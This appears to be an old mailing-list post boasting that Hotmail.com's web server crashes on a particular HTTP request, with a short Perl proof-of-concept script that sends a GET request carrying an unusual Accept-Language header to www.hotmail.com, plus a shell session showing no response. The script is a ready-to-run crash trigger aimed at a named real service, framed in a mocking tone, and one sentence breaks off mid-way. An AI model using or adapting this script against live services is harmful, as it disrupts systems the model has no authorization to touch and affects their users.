My friend blshkv showed me that he get hotmail.com to crash by just
visiting the site! I used Paros Proxy to intercept the request and
replayed it using telnet, with the same result.

i can reproduce it:

fuck () bill:~$ cat ./fsckbll.pl 
#!/usr/bin/perl -w

use IO::Socket;
my $host=$ARGV[0] || "www.hotmail.com";
my $port=$ARGV[1] || 80;

my $sock=IO::Socket::INET->new(Proto => 'tcp',
        PeerAddr => $host,PeerPort =>$port) || die("socket");

print "Connected to ${host}:${port}\n";
my $first="GET / HTTP/1.0\r\nAccept-Language: en;q=1.0,ru;q=0.9\r\n\r\n";
print $sock $first;

while(<$sock>) {print $_;}

fuck () bill:~$ ./fsckbll.pl www.hotmail.com 80
Connected to www.hotmail.com:80

I guess Hotmail.com's system administrators missed a few hardening
steps, their developers forgot to have a default catch statement in
their code and the QA people missed both of these issues in the

i guess hotmail missed the train.

where do you want bill gates to go today?
